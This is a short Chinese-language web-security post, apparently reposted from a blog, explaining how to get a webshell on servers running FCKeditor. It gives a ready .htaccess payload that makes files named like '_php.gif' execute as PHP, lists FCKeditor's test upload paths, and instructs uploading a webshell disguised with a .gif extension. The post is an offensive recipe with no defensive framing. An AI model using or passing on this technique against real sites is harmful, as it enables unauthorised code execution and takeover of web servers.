FCKeditor上传Getshell不要忘记htaccess - 网站安全 - 自

 

By LengF

有些服务器开启了.htaccess文件上传，那么经常碰到fckeditor的就可以利用该文件上传一个phpshell。

1.创建一个.htaccess文件，内容如下：

 

<FilesMatch "_php.gif">

SetHandler application/x-httpd-php

</FilesMatch>

 

 

2.上传shell

HdhCmsTest2cto测试数据 FCKeditor/editor/filemanager/upload/test. html

FCKeditor/editor/filemanager/browser/default/connectors/test.html

这是上传地址，然后将你的webshell文件改后缀shell.php.gif

查看更多关于FCKeditor上传Getshell不要忘记htaccess - 网站安全 - 自的详细内容...